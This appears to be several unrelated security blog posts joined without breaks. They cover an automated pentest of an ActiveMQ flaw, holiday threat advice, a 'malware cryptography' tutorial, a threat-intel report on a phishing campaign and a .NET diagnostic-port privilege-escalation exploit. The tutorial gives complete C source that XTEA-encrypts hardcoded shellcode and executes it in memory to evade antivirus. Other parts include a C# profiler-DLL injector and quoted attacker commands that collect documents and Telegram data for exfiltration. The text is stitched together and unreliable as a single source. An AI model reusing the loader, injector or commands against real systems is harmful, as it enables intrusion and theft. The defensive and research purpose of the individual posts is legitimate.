CISA Known Exploited Vulnerability Enables Initial Access and Lateral Movement Leading to Domain Compromise
Here is a real-world example of NodeZero exploiting a recently disclosed, pervasive vulnerability in an internal pentest to fully compromise a client environment.
Background
Apache ActiveMQ is a Java-based message broker used as a part of many software products. It is backend infrastructure that facilitates communication between different software components operating in a distributed architecture, similar to Redis and RabbitMQ.
At the end of October 2023, a critical vulnerability, CVE-2023-46604, affecting ActiveMQ was disclosed. This vulnerability enables unauthenticated attackers to compromise the host running ActiveMQ by sending a crafted network request to the brokerβs Openwire port (default port 61616). Similar to Log4Shell, the exploit induces the vulnerable ActiveMQ instance to connect back to an attacker-controlled server to download a malicious payload. The vulnerable ActiveMQ instance unmarshalls the payload, resulting in the execution of arbitrary operating system commands contained in the payload, leading to host compromise.
The vulnerability was immediately exploited in the wild by threat actors, landing it on CISAβs known exploited vulnerabilities (KEV) catalog. As of this writing, according to Shodan there are thousands of ActiveMQ instances exposing the Openwire port to the Internet, with the majority of these instances in China.
While dangerous externally, the vulnerability is an order of magnitude more dangerous and prevalent in internal networks. ActiveMQ is installed as part of many software products, including Atlassian Bamboo, Commvault, Powerschool SIS, and Solarwinds WebHelpDesk.etc. This is the type of vulnerability that will linger in internal networks, and be fodder for pentesters and attackers alike for years to come.
A Real World Example
Within days of public disclosure, an exploit for CVE-2023-46604 was added to NodeZero. Hereβs an actual production internal pentest in which NodeZero exploited this vulnerability to ultimately compromise the domain administrator account.
First NodeZero identified the Apache ActiveMQ broker service running on the default port 61616 on a host in the network.
NodeZero checked for CVE-2023-46604 and then exploited it to install a Remote Access Tool (RAT) on the vulnerable host.
Through the RAT, NodeZero dumped credentials from LSASS. One of these credentials was the NTLM hash for a domain user. NodeZero βpassed the hashβ to login as domain user on the network.
Next, NodeZero identified that the compromised domain user was also a local admin on another host in the network. Using the administrative privileges of this domain user, NodeZero installed a second Remote Access Tool on this second host.
NodeZero once again dumped LSASS through this RAT. This time NodeZero acquired the NTLM hash for a domain administrator, which it used to log in to the domain.
Takeaways
It took NodeZero about 1 hour and 15 minutes to execute the attack path leading to domain compromise. This attack was performed autonomously with no human assistance or prior scripting. Along the way, NodeZero identified and raised the following weaknesses:
CVE-2023-46604: Apache ActiveMQ Openwire Transport Remote Code Execution Vulnerability
H3-2021-0044: Credential Dumping β Local Security Authority Subsystem Service (LSASS) Memory
H3-2022-0086: Domain User with Local Administrator Privileges
While CVE-2023-46604 provided NodeZero initial access to a host in the network, the subsequent weaknesses β lack of security controls preventing LSASS dumping and a over-privileged domain user β enabled NodeZero to move laterally in the network and compromise the domain. NodeZero can help you stay on top of emerging weaknesses, and it can help you harden your security controls and credential policies to prevent widespread compromise.
Sign up for a free trial and quickly verify youβre not exploitable.
Amidst the hustle and bustle of holiday preparations and last-minute shopping, cybercriminals often take advantage of the increased online activity and spending complacency of individuals and businesses. Can you imagine the chaos if cybercriminals successfully targeted popular retail outlets, major airlines, or shipping companies? Those retail outlets could have issues processing sales and fulfilling their orders, airlines could cease operations, and shipping companies could miss delivering gifts in time for the holidays. Invariably, such an attack would leave customers stranded and angry, and those affected companies would be left with no other option than to give in to the ransom demands of cyber criminals to bring their systems back online. With so much riding on the holiday season, it is crucial that we ensure the security of our digital assets and safeguard our organizations against potential cyber threats.Β
You may be wondering how likely it is that weβll see a major cyber incident affecting considerable portions of the general public this December. The answer: very likely. Consider the fact that we have seen a major cyber-related incident each December for the last three years. Recalling the events from last December (2022), notable cybersecurity incidents affected Uber, Okta, and LastPass:
Uber: The rideshare company experienced a high-profile data leak during which sensitive employee and company data were exposed. Attackers compromised an AWS cloud server used by a third-party vendor that provides asset management and tracking services.
Okta: The identity and access management company faced a cybersecurity incident where a hacker accessed its source code following a breach of its GitHub repositories. Once Okta identified the issue, they placed temporary access restrictions on the repositories and suspended all GitHub integrations with third-party applications. Fortunately, no customer data was impacted by this breach.Β
LastPass: The password and identity management company encountered two distinct cybersecurity incidents. The first involved a threat actor targeting a software engineerβs company laptop, providing unauthorized access to a cloud-based development environment. The access allowed the cyber threat actor to steal source code, technical information, and internal system secrets. The second incident featured a cyber threat actor targeting a senior DevOps engineer by exploiting vulnerable third-party software. The accessed data included system configuration data, API secrets, third-party integration secrets, and encrypted and unencrypted LastPass customer data.Β
In 2021, the discovery of the Log4Shell vulnerability that December sent shockwaves through the digital landscape. The widespread and critical vulnerability in the Apache Log4j library exposed countless systems to potential exploitation. The exploit, officially known as CVE-2021-44228 or log4shell, allowed attackers to execute arbitrary code remotely, posing a severe threat to the security of various software applications and systems globally.Β
Another notable cyber attack was when the software company SolarWinds was hacked in 2020. That attack led to one of the biggest breaches of the 21st century, underscoring the sophisticated nature of modern cyber threats. The supply chain attack targeted the SolarWinds Orion platform, compromising software updates distributed to thousands of organizations. The cyber threat attackers infiltrated numerous government agencies and private companies.Β Β Β
While it is nearly impossible to predict exactly what cyber threat actors will do this holiday season, we know that maintaining vigilance is crucial for ensuring the security of your systems and networks. Cyber vigilance is also paramount to safeguarding your personal and financial information, as increased online activities and festive shopping create opportunities for cyber threats and scams. Adopting an autonomous approach to proactively finding, fixing, and verifying your exploitable vulnerabilities should be the first line of defense in safeguarding your organization from cyber threats. It can also save your security team valuable time. By incorporating a continuous penetration testing cadence, you will get prompt results to fix what matters most while ensuring timely mitigations and verifications, providing you and your organization with the much-needed time to kick back and enjoy the holidays!
Hello, cybersecurity enthusiasts and white hackers!
In one of the previous posts (and at conferences in the last couple of months) I talked about the TEA encryption algorithm and how it affected the VirusTotal detection score.
Today I decided to look at an improved algorithm - XTEA.
XTEA
XTEA (eXtended TEA) is a symmetric block cipher designed to enhance the security of TEA (Tiny Encryption Algorithm). Developed by David Wheeler and Roger Needham, XTEA operates on 64-bit blocks with a 128-bit key and typically employs 64 rounds for encryption and decryption. The algorithm incorporates a Feistel network structure, utilizing a complex key schedule and a series of bitwise operations, shifts, and additions to iteratively transform plaintext into ciphertext.
XTEA addresses certain vulnerabilities identified in TEA, providing improved resistance against cryptanalysis while maintaining simplicity and efficiency. Notably, XTEA is free from patent restrictions, contributing to its widespread use in various applications where lightweight encryption is essential, such as embedded systems and resource-constrained environments.
pracical example
As usually, letβs implement this cipher in practice.
For simplicity I decided to implement 32-rounds:
#define KEY_SIZE 16
#define ROUNDS 32
The code is identical to the implementation of the TEA algorithm, just replace encryption and decryption logic:
voidxtea_encrypt(unsignedint*data,unsignedint*key){unsignedintv0=data[0],v1=data[1];unsignedintsum=0,delta=0x9e3779b9;for(inti=0;i<ROUNDS;i++){v0+=(((v1<<4)^(v1>>5))+v1)^(sum+key[sum&3]);sum+=delta;v1+=(((v0<<4)^(v0>>5))+v0)^(sum+key[(sum>>11)&3]);}data[0]=v0;data[1]=v1;}voidxtea_decrypt(unsignedint*data,unsignedint*key){unsignedintv0=data[0],v1=data[1];unsignedintsum=0xC6EF3720,delta=0x9e3779b9;// sum for decryptionfor(inti=0;i<ROUNDS;i++){v1-=(((v0<<4)^(v0>>5))+v0)^(sum+key[(sum>>11)&3]);sum-=delta;v0-=(((v1<<4)^(v1>>5))+v1)^(sum+key[sum&3]);}data[0]=v0;data[1]=v1;}
As you can see, itβs implemented with the same delta = 0x9e3779b9.
Finally, full source code is looks like this (hack.c):
/*
* hack.c
* with decrypt payload via XTEA
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2023/11/23/malware-cryptography-22.html
*/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#define KEY_SIZE 16
#define ROUNDS 32
voidxtea_encrypt(unsignedint*data,unsignedint*key){unsignedintv0=data[0],v1=data[1];unsignedintsum=0,delta=0x9e3779b9;for(inti=0;i<ROUNDS;i++){v0+=(((v1<<4)^(v1>>5))+v1)^(sum+key[sum&3]);sum+=delta;v1+=(((v0<<4)^(v0>>5))+v0)^(sum+key[(sum>>11)&3]);}data[0]=v0;data[1]=v1;}voidxtea_decrypt(unsignedint*data,unsignedint*key){unsignedintv0=data[0],v1=data[1];unsignedintsum=0xC6EF3720,delta=0x9e3779b9;// sum for decryptionfor(inti=0;i<ROUNDS;i++){v1-=(((v0<<4)^(v0>>5))+v0)^(sum+key[(sum>>11)&3]);sum-=delta;v0-=(((v1<<4)^(v1>>5))+v1)^(sum+key[sum&3]);}data[0]=v0;data[1]=v1;}intmain(){unsignedintkey[4]={0x6d6f776d,0x656f776d,0x6f776d65,0x776d656f};unsignedcharmy_payload[]="\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41""\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60""\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72""\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac""\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2""\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48""\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f""\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49""\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01""\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01""\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1""\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41""\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b""\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58""\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41""\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7""\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e""\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83""\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd""\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0""\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff""\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e""\x2e\x2e\x5e\x3d\x00";intlen=sizeof(my_payload);intpad_len=(len+8-(len%8))&0xFFF8;unsignedint*padded=(unsignedint*)malloc(pad_len);memset(padded,0x90,pad_len);memcpy(padded,my_payload,len);// encrypt the padded shellcodefor(inti=0;i<pad_len/sizeof(unsignedint);i+=2){xtea_encrypt(&padded[i],key);}printf("encrypted:\n");for(inti=0;i<pad_len;i++){printf("\\x%02x",((unsignedchar*)padded)[i]);}printf("\n\n");// decrypt the padded shellcodefor(inti=0;i<pad_len/sizeof(unsignedint);i+=2){xtea_decrypt(&padded[i],key);}printf("decrypted:\n");for(inti=0;i<pad_len;i++){printf("\\x%02x",((unsignedchar*)padded)[i]);}printf("\n\n");LPVOIDmem=VirtualAlloc(NULL,sizeof(padded),MEM_COMMIT,PAGE_EXECUTE_READWRITE);RtlMoveMemory(mem,padded,pad_len);EnumDesktopsA(GetProcessWindowStation(),(DESKTOPENUMPROCA)mem,(LPARAM)NULL);free(padded);return0;}
As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions. For this example, use the meow-meow messagebox payload as usual.
demo
Letβs go to see this trick in action. Compile our βmalwareβ:
How adversaries create diversions and stay invisible
BI.ZONE Threat Intelligence specialists have discovered a cybercriminal group that has been active since at least 2019. While this cluster of activity was previously directed against the countries neighboring Russia, now such attacks have reached Russia itself. The attackers use phishing emails to install a legitimate monitoring tool, Mipko Employee Monitor, on target devices and gain access to the Telegram messenger, steal sensitive documents and passwords.
Key findings
Unusual attachment formats tend to lower the victimβs guard and increase the likelihood of a compromise.
Hacking and stealing Telegram accounts is particularly popular, besides accessing user data is as easy as copying a singleΒ folder.
Attackers make extensive use of legitimate monitoring tools. This allows them to go undercover inside the compromised IT infrastructure.
Campaign
The criminals sent phishing emails with archives that contained, as they claimed, 1C:Enterprise invoices and their digital keys. This enabled them to distract the victims from noticing the file extension. The content of the message is shown in the figureΒ below.
The phishing emailΒ text
The archive contained an executable 1C.ΠΡΠ΅Π΄ΠΏΡΠΈΡΡΠΈΠ΅ ΠΠ»Π°ΡΠ΅ΠΆΠ½Π°Ρ Π½Π°ΠΊΠ»Π°Π΄Π½Π°Ρ β579823592352-2023.scr, which was the installer for Smart InstallΒ Maker.
Running the executable file caused the following actions:
Creation of a folder C:\Intel\ and assigning the attributes Hidden, System, Unindexed.
Creation of keys Video Configurations and Mail Configurations in the registry hive Software\Microsoft\Windows\CurrentVersion\Run. The key values were set as file paths C:\Intel\go.exe and C:\Intel\mail.exe that would be unpackedΒ later.
Creation of a file C:\Intel\rezet.cmd, downloading encrypted archives from the C2 server using cURL and driver.exe to unpackΒ them:
In addition, driver.exe served to collect and archive all Microsoft Word documents:
C:\Intel\driver.exe a -r -hplimpid2903392 C:\Intel\doc.rar C:\*.doc* /y
Telegram messenger data was also collected and packaged:
C:\Intel\driver.exe a -r -hplimpid2903392 C:\Intel\tdata.rar "C:\Users\[user]\AppData\Roaming\Telegram Desktop\tdata" /y
The attackers sent the collected data through a controlled mail service. For this purpose, they extracted the Blat utility from the pas.rar archive and used it to send emails through the commandΒ line:
C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\pas.rar blat.exe C:\Intel\ /y
Then both archives were sent to the attackersβ emailΒ account:
After sending, the archives with the collected data and the cURL utility wereΒ deleted:
del /q C:\Intel\curl.exe del /q /f C:\Intel\doc.rar del /q /f C:\Intel\tdata.rar
Next, the go.exe file was extracted from the keys.rar archive. Execution was suspended for an hour using the ping utility after which the files mail.exe and userprofile.exe were extracted from the archives. The latter was launched to install Mipko Employee Monitor software in the compromised system:
C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\keys.rar go.exe C:\Intel\ /y ping -n 3600 127.0.0.1 C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\pas.rar mail.exe C:\Intel\ /y C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\keys.rar userprofile.exe C:\Intel\ /y C:\Intel\userprofile.exe
At this point, the system was forced to reboot and the rezet.cmd file wasΒ deleted:
wmic OS WHERE Primary="TRUE" CALL Win32Shutdown 6 del /q C:\Intel\rezet.cmd
After rebooting, the files mail.exe and go.exe were executed.
Launching mail.exe led to the following actions:
Passwords from browsers on the compromised device were collected into a password.txt file. To do this, the software WebBrowserPassView was extracted from the archiveΒ pas.rar:
This was followed by checking the availability of the network resource www.msftncsi.com/ncsi.txt. If the check was successful, the obtained user credentials would be emailed to the attacker using the BlatΒ utility:
Delete temporary files that may be in the folder C:\Intel\:
del /q /f C:\Intel\MPK.rar del /q /f C:\Intel\keys.rar del /q /f C:\Intel\curl.exe del /q /f C:\Intel\dc.exe del /q /f C:\Intel\dc.rar del /q /f C:\Intel\rezet.cmd del /q /f C:\Intel\open.lnk del /q /f C:\Intel\go.exe del /q /f C:\Intel\go1.exe del /q /f C:\Intel\mail.exe
Delete the registry key responsible for the autorun ofΒ go.exe:
The Mipko Employee Monitor software allows attackers to monitor user activity, intercept keystrokes and clipboard logs, record screen activity and deviceΒ camera.
Conclusion
Cybercriminals continue to leverage dual-use software and legitimate tools to launch targeted attacks. This often allows them to blend into the compromised IT infrastructure and bypass multiple defenses. In addition, it is important to monitor the threat landscape of neighboring countries: attackers may change their targets over time, influenced by geopolitical events, among otherΒ things.
Phishing emails are a popular attack vector against organizations. To protect your mail server, you can use specialized services that help to filter unwanted emails. One such service is BI.ZONE CESP. The solution eliminates the problem of illegitimate emails by inspecting every message. It uses over 600 filtering mechanisms based on machine learning, statistical, signature, and heuristic analysis. This inspection does not slow down the delivery of secure messages.
Legitimate tools are applied more and more often today to attack companies. Preventive defenses do not detect such methodsβββthe intruders penetrate the infrastructure unnoticed. To discover such attacks, we recommend that companies implement detection, response, and prevention solutions, such as BI.ZONE TDR, as part of their security operations center.
.NET is an ecosystem of frameworks, runtimes, and languages for building and running a wide range of applications on a variety of platforms and devices. The .NET Framework was initially released in the early 2000s as Microsoftβs implementation of the Common Language Infrastructure (CLI) specification. In 2016, Microsoft released .NET Core, the first truly open-source, cross platform version of the .NET Platform.
All flavors of .NET rely on a runtime component called the Common Language Runtime (CLR). The CLR is responsible for executing managed programs (e.g. assemblies) and handling other tasks such as memory management, garbage collection, and just-in-time (JIT) compilation of manage-to-unmanaged code. In open-source .NET, the CLR is implemented as the Core CLR (e.g. coreclr.dll).
Although the .NET Framework will be referenced frequently, this blog will focus on abusing several runtime diagnostic features that are mostly specific to open-source .NET on modern Microsoft Windows client operating systems (e.g. .NET, formerly called .NET Core, since version 5).
Of note, the content provided in this blog was first presented in my MCTTP 2023 Conference talk β Dotnet: Not Deadβ¦Yet. Defensive considerations, SIGMA rules, and mitigation guidance are located at the end of the post.
.NET Native Inclusion
Although it may be a surprise to a few, .NET Framework (4.8.x) is still the default βsystem wideβ .NET implementation on Microsoft Windows. However, Windows ships with several Universal Windows Platform (UWP) applications (βappsβ) that rely on .NET Native, a .NET pre-compilation technology that contains an instance of the Core CLR runtime. An example UWP app that leverages .NET Native is the Phone Link app (PhoneExperienceHost.exe).
Note: Visual Studio components and Azure DevOps Pipeline Agents leverage the open-source .NET runtime. Most recently, .NET version 8 was released.
Runtime Configuration & Diagnostics
Over the last few years, Iβve blogged about several ways to abuse the .NET Framework by leveraging CLRΒ Configuration Knobs. Adjusting knobs allow for controlling the behavior of the .NET Common Language Runtime (CLR) for development, debugging, and diagnostic purposes. The Core CLR is no exception and includes many similar and unique knobs that can be configured in the registry, environment variables, and configuration files.
A very interesting and well supported diagnostic extension for the .NET Framework CLR is the profiling API. As stated by Microsoft, a profiler is a βtool that monitors the execution of another application.Β [It] is a dynamic link library (DLL) that consists of functions that receive messages from, and send messages to, the CLR by using the profiling API. The profiler DLL is loaded by the CLR at run time.β Messaging to and from the profiler DLL and the CLR are implemented through the ICorProfilerCallback/2 interface for event notification and the ICorProfilerInfo/2 interface for profiled application state information. Profiling a .NET application could reveal event(ing) information such as assembly loading, module loading, and thread creation (Source: Microsoft Docs).
Interestingly, open-source .NET includes a rich set of troubleshooting diagnostic features, tools, and APIs that can be leveraged to interface with the Core CLR without the need of a profiler, though profiling is also supported (which weβll dive into shortly). Of note, Microsoft documentation for Core runtime diagnostics is very robust and well worth reviewing.
CLR Profiler Abuse
.NET Framework CLR Profiler Loading
At .NET application start, configuration knobs adjust the CLR/runtime behavior. As documented by Casey Smith (@subTee) in 2017, the following .NET Framework profiler knobs are configured as environment variables to load an unmanaged βprofilerβ DLL:
COR_ENABLE_PROFILING β Set to 1 to enable profiler loading
COR_PROFILER β Set a target CLSID or arbitrary GUID value (Note: Not necessarily required for the .NET Framework)
COR_PROFILER_PATH β Set path to the profiler DLL
If an arbitrary DLL is loaded into the CLR that does not meet the requirements and structure for a profiler DLL, the CLR will effectively unload the library. Depending on the offensive use case, this may or may not be important. Additionally, this technique is documented in Mitre ATT&CK as sub-technique: T1574.012.
.NET Core CLR Profiler Loading
The Core CLR profiler in open-source .NET acts in a similar way but leverages the following knobs to load a βprofilerβ DLL:
CORECLR_ENABLE_PROFILING β Set to 1 to enable profiler loading
CORECLR_PROFILER β Set an arbitrary GUID value (Note: Required for open-source .NET)
CORECLR_PROFILER_PATH β Set path to the profiler DLL (Note: knob names may also be CORECLR_PROFILER_PATH_32 or CORECLR_PROFILER_PATH_64 depending on architecture)
When set as environment variables in the registry, the .NET application Core CLR loads the DLL for execution and persistence:
.NET Core CLR Diagnostics
CLR Diagnostic Port
As mentioned prior, the .NET Core CLR diagnostic analysis can be performed without the use of a CLR profiler. By default, the Core CLR enables an Interprocess Communication (IPC) diagnostic endpoint called a diagnostic port. On Linux and MAC, the IPC occurs over Unix domain sockets by default. On Windows, IPC occurs over a named pipe, which follows this naming convention:
\.\pipe\dotnet-diagnostic-{Process ID (PID) of .NET application}
Diagnostic applications interface and communicate with a target applicationβs CLR diagnostic port to send commands and receive responses. Graciously, Microsoft has released a suite of diagnostic tools and an API for interfacing with the diagnostic port.
Diagnostic Applications & Tools
The following Microsoft signed command line applications are available to diagnose .NET application issues:
dotnet-counters
dotnet-dump
dotnet-monitor
dotnet-trace
β¦and more
As you can imagine, some of these utilities can be used for living-off-the-land/lolbin scenarios. For instance, dotnet-dump instructs the CLR of a target .NET application to dump its process memory. Dotnet-dump also implements MiniDumpWriteDump, which can be used to create process minidumps of non-.NET processes (e.g. such as LSASS):
Diagnostic API
Although command-line diagnostic tools provide a turnkey approach for diagnosing .NET applications, Microsoft makes available the Microsoft.Diagnostics.NETCore.Client API to interact with the diagnostic port of .NET applications for deeper use cases. The API is relatively straight forward to use and includes a diagnostic class and several methods for:
Setting environment variables
Dumping the .NET process
Setting a startup CLR profiler
Attaching a CLR profilerβ¦
Interestingly, a βmonitoringβ application can leverage API diagnostic port to instruct the target application CLR to attach a profiler. Leveraging the API, the following C# code snippet serves as βinjectorβ to load a βprofilerβ DLL into a running process using the AttachProfiler() method:
using Microsoft.Diagnostics.NETCore.Client;
class profiler_injector
{
static void Main(string[] args)
{
int pid = Int32.Parse(args[0]);
string profilerPath = args[1];
AttachProfiler(pid, Guid.NewGuid(), profilerPath);
}
static void AttachProfiler(int processId, Guid profilerGuid, string profilerPath)
{
var client = new DiagnosticsClient(processId);
client.AttachProfiler(TimeSpan.FromSeconds(10), profilerGuid, profilerPath);
}
}
Expectedly, running the injector programs shows a successful result:
IPC Messaging Protocol
The Diagnostic IPC Protocol is used for client (βmonitoring applicationβ) and server (target application CLR) messaging over the diagnostic port named pipe. Microsoft provides excellent documentation of the transport, structure, and commands. Leveraging the IONinja protocol analyzer, an example client request and server response for issuing the AttachProfiler command appears as follows:
The βmagicβ string value effectively serves as the message header, and it has a 14-byte reservation. As of this blog release date, the constant magic value is βDOTNET_IPC_V1β. The following two bytes are reserved for the payload size, and the next two bytes are reserved for the command code.
For the client message, 0x0301 is the identifier for the AttachProfiler command. The next two bytes are generally reserved, and the remainder of the message is the payload. In this case, the client payload data includes the attachment timeout value, a CLSID/GUID value (e.g. for the CORECLR_PROFILER), and the path to the profiler DLL (e.g. for CORECLR_PROFILER_PATH). The remaining bytes are not set, but other messages may contain a client data element.
For this example, the command code in the server response (0xFFFF) is interesting. Although the βprofilerβ DLL successfully attaches, the command code indicates an error with the DLL since it is not a true profiler DLL. In this case, the DLL does not adhere to the expected structure and is evicted.
Note: With insight into the messaging protocol, one could go a step further and forgo managed API usage and craft diagnostic IPC messages at the byte-code level.
CVE-2023-33127: .NET Cross Session Local Privilege Escalation
Motivation
Every now and again, researching offensive tradecraft opens the door for thinking of new ways to exploit potential vulnerabilities. The CLR diagnostic attack surface was interesting, especially with the capabilities provided by the CLR and use of named pipes for IPC endpoint. Initially, I did not identify any formal services operating in a privileged context (e.g. NT AUTHORITY\SYSTEM) that leveraged .NET Core. Eventually, I found a few third-party services as well as use within Azure pipelines, but the UWP apps were all I had to work with at the time. I noted two possible use cases for privilege elevation:
An observation was made that some UWP apps operated in low integrity. There may be a scenario to potentially elevate from low to medium integrity within a user session.
Other UWP apps operate at medium integrity. UWP processes are created for each user logged into a machine. It may be possible to influence the UWP application diagnostic port that is created in another userβs session.
I opted to start with the latter as I always found cross-session attacks to be very interesting.
Discovery Methodology
Having already spent too many unhealthy years looking at Component Object Model (COM) and following the incredible research of James Forshaw (@tiraniddo), it was most natural place to look for cross-session attack opportunities. It is no secret that users can activate DCOM objects in other interactive sessions. This includes a scenario when a non-privileged users is logged into the same machine as a privileged user.
Cross session activation is made possible when the identity of the target DCOM object is set to run as the βinteractive userβ (e.g. the interactive user in the target session), and the activation and launch permissions permit the object activation to occur by the launching user (e.g. the attacker).
Note: Even if DCOM security settings permit object activation in another session, it does not necessarily mean the launching user has the permissions to access and use the activated object. Regardless, activation is all that is required for this use case.
Fortunately for us, James developed and released OleViewDotNet, which makes discovering and analyzing COM objects much easier and quicker. After narrowing down COM objects configured to run as the βinteractive userβ, I discovered that the Phone Link UWP application (PhoneExperienceHost.exe) was also a DCOM server:
After some basic testing, two key elements came to fruition:
As an out-of-process DCOM server, associated DCOM class objects would launch the PhoneExperienceHost.exe executable (including all .NET components).
A lower privileged user could most certainly activate several associated DCOM objects in a privileged user session on Windows 10 (e.g. CLSID β 7540C300-BE9B-4C0D-A335-F002F9AB73B7).
Although a potential premise was set for cross-session attack, there was still the problem of lacking a core exploitation vector. There are several ways to approach this problem, and I thought about investigating a few of those potential vectors, but I focused on the diagnostic port named pipe. There are interesting exploitation primitives that could potentially be leveraged to attack named pipes as discussed in this fantastic blog post by @0xcsandker.
Albeit an obvious statement β one of the best things about open-source software is that the source code is made publicly available, so there is a time advantage for not having to reverse engineer part of the .NET runtime and/or dive too deeply into the internals (although it is not a bad idea). As such, I decided to search through the .NET runtime source code on GitHub and analyze the diagnostic port implementation. Here is the Ccode used to create the named pipe with CreateNamedPipeA (prior to patching):
Named pipes are FIFO structures β the first named pipe server instance has precedence to respond to client requests if multiple named pipes with the same name exist. Furthermore, subsequent named pipes inherit the handle security descriptor of the first named pipe when created, including the DACL and ownership. However, if the FILE_FLAG_FIRST_PIPE_INSTANCEflag is specified within the openmode parameter, the subsequent named pipe will not be created, and inheritance will be thwarted.
Interestingly, the FILE_FLAG_FIRST_PIPE_INSTANCE flag is not specified when creating the diagnostic port named pipe. This means that the named pipe will still be created even if another pipe with the same name already exists. In short, if an attacker creates a crafted named pipe before the Core CLR creates a diagnostic port with the same name, the attacker has the ability to control the diagnostic endpoint and issue commands from another session because the attacker owns the named pipe handle and security descriptor. To successfully exploit this condition, the attacker must figure out a way to create the malicious named pipe prior to the .NET application CLR runtime creating the legitimate named pipe of the same name.
Note: In my recorded MCTTP conference talk, I misspoke about the inclusion of the PIPE_UNLIMITED_INSTANCES flag when it should have been about the exclusion of the FILE_FLAG_FIRST_PIPE_INSTANCE flag. Please execute this error if you decide to watch the recorded talk.
Now, letβs recall the naming convention for the diagnostic port named pipe:
\.\pipe\dotnet-diagnostic-{Process ID (PID) of .NET application}
Although the named pipe is mostly static, the suffix mirrors the process identifier of the running .NET application. As a result, there are three challenges to overcome for successful exploitation:
Beat a race condition and create the tampered named pipe before the target .NET application.
Figure out a continuous way to spawn the target process until a named pipe match is made.
And finally, deliver a payloadβ¦
Exploitation Walkthrough
Fortunately, all of the challenges can be addressed programmatically with the required conditions in place. First order of business was to address the race condition, which in many ways is out of our control, so my solution was to optimize coverage and leverage a βspray and prayβ technique. For a proof-of-concept, I opted to create thousands of weakly permissive named pipes conforming to the diagnostic port convention. After a restart, there was a likelihood of low-ordered PID creation for newly spawned target application processes, which slightly increased the chance of hitting the covered named pipes. In reality, this approach was not as practical as just accounting for different ranges of PIDs and maintaining a sense of realism (e.g. no reboot in the real world with multiple sessions). In the end, the best option was just to simply increase the number of tampered named pipes for getting a quicker match.
Next, the issue of continuous COM activation. Interestingly enough, activating a cross-session DCOM object is quite easy through the use of a Session Moniker:
Format: Session:[session id]!clsid:[class id]
I opted to continuously activate target DCOM object in an infinite loop. A sleep delay was added to ensure that the same, previously activated object was not re-used so that a new out-of-process server in the target session was spawned to increase the chance of a match.
Lastly, I needed a payload delivery vector. This was the best part β simply re-using the AttachProfiler capability to deliver a malicious DLL payload worked like a charm after cleaning up the malicious named pipe.
Demonstration
Here is a screenshot of the exploit in action:
Once the .NET target process created the diagnostic port named pipe after a match, the handle inherited weak DACL permissions and ownership from the tampered named pipe:
Upon successful tampering, the exploit sends the AttachProfiler command to the target .NET application diagnostic endpoint and instructs the CLR to load the payload DLL to achieve cross-session code execution:
Mitigation & Disclosure Timeline
03/2023 β Initial report submitted to MSRC
04/2023 β Acknowledgement of vulnerability and patch development
06/2023 β Unofficially, Microsoft appeared to address launch and activation permissions for the impacted DCOM objects
07/2023 β Official patch released (in .NET) by Microsoft
09/2023 β Bug initially disclosed at the 2023 MCTTP conference
Defensive Considerations
To protect against CVE-2023-33127 cross-session privilege escalation, upgrade .NET dependency components to the latest version. The patch was officially addressed in July 2023.
To prevent the .NET Core CLR diagnostic port from loading at all, set persistent environment variables at all applicable levels with the following configuration knob:
Understanding .NET telemetry sources are important for collecting events and building robust detections. Telemetry Layering by Jonny Johnson (@jsecurity101) is a great resource that dives into the concept. As such, consider leveraging .NET (Core) diagnostic capabilities to aid in telemetry collection if feasible for your use cases. Monitor for interesting and opportunistic CLR events (e.g. profiler attachment) in addition to other interesting events such as .NET assembly loads.
Conclusion
.NET presents an interesting and opportunistic attack surface. In this post, we focused on Windows techniques, but there are certainly use cases that may extend to or present unique opportunities on other platforms and operating systems.
As always, thank you for taking the time to read this post and happy hunting!
Ian Campbell, security operations engineer at DomainTools, is someone who has truly carved a niche out for himself in his organization and in the cybersecurity landscape as a whole. His blogs for the DomainTools website have provided paths for neurodiverse cybersecurity professionals and allies who want to make their organizations more friendly to neurodiversity to undertake the small changes to work roles and company culture that can net huge improvements for folks with different types of cognition, patterns of learning, concentration challenges, and yes, nurturable strengths!
Iβve said it plenty of times here and Iβll say it again: cybersecurity is at its best when weβre all together, solving problems and creating solutions with our own diverse approaches.
